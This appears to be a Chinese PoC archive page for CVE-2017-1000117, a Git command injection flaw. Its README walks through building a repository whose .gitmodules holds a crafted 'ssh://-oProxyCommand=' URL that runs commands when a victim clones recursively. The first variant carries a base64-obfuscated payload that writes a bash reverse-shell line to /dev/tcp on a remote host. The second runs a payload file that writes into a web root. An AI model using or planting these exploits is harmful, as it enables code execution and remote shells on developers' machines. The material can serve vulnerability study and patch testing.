关联漏洞
标题:
Git 命令注入漏洞
(CVE-2017-1000117)
描述:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
介绍
# CVE-2017-1000117
恶意人员可以通过巧妙构造 “ssh://…” 链接,让受害人在执行程序等情况下访问该恶意链接,从而达到命令执行的目的。 该链接可以被放在 git项目的.gitmodules文件下,这样当受害人对一个项目进行git clone –recurse-submodules/git clone --recursive 操作时,就会引发安全问题。
预热:
linux 命令行输入
printf 'a' >> /tmp/pwned.txt
发现在tmp目录创建了pwned.txt,内容为 a
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"]
path = sub1
url = https://github.com/leezp/CVE-2017-1000117.git
//创建了sub1和name2两个submodule子目录)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
有两种制作方式:
第一种:
打开.gitmodules文件,修改内容(只需修改第一个,因为只会执行第一个submodule里的exp,这里创建2个是因为有时候创建一个不会执行,具体原因暂时没有太多兴趣研究)
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(具体见.gitmodules.bak1文件)
第一种方式无需payload文件
第二种方式:
打开.gitmodules文件,修改内容(只需修改第一个)
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(具体见.gitmodules文件)
此种方式需结合payload文件,payload文件我们输入
printf 'sss' > /var/www/html/vul
**注意**
git clone方式必须以下两种任一:
git clone --recursive url
git clone --recurse-submodules url
使用git clone 则只会正常下载不会额外生成文件,所以漏洞触发条件较为苛刻。
文件快照
[4.0K] /data/pocs/724a2cfc442f320b5211e72011b9841bc4afefa0
├── [4.0K] name2
├── [ 33] payload
├── [2.1K] README.md
└── [4.0K] sub1
2 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。